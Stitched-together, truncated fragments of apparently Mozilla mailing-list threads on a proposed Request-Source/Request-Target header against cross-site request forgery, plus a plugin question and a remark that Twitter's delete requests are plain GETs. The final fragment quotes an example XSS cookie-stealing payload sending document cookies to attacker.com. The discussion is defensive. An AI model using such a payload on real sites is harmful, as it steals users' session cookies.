On Jun 12, 3:56 am, Gervase Markham <[EMAIL PROTECTED]> wrote:
> [EMAIL PROTECTED] wrote:
> > Analyzed, no... but I agree that the Request-Source checks should only
> > be made for non-safe methods.
> Yes; I think the current write-up is confusing on this point.
I've updated the proposal to make t
On Jun 20, 5:34 pm, Boris Zbarsky <[EMAIL PROTECTED]> wrote:
> [EMAIL PROTECTED] wrote:
> > If I point the browser directly to the mp3 file on the local file
> > system, the quicktime plug-in opens and plays the file, no problemo.
>
> OK.
>
> > The Page Info in the media tab, has the URI of the mp3
Messed around a bit and noticed that you can indeed post using a GET
request to Twitter. This looks to be somewhat XSRF protected with a
authorization token, so hopefully it's not dead simple to exploit.
However, the delete requests are just simple GETs of the form
http://twitter.com/status/destr
> It's true that information travels this way, but the "leaky" request
> will never be made unless attacker.com is in the Request-Target
> whitelist. So there is no leak.
Ah! You're right, I had confused that for some reason. If all
requests are still covered by Request-Target, then we're good f
Terri wrote:
> On Jun 17, 9:25 am, Gervase Markham <[EMAIL PROTECTED]> wrote:
>> What's the use case for locking down all page communications?
>
> The traditional one: XSS cookie-stealing attacks like this:
>
> var image = new Image();
> image.src= ’http://attacker.com/log.php?cookie=’ +
> encode
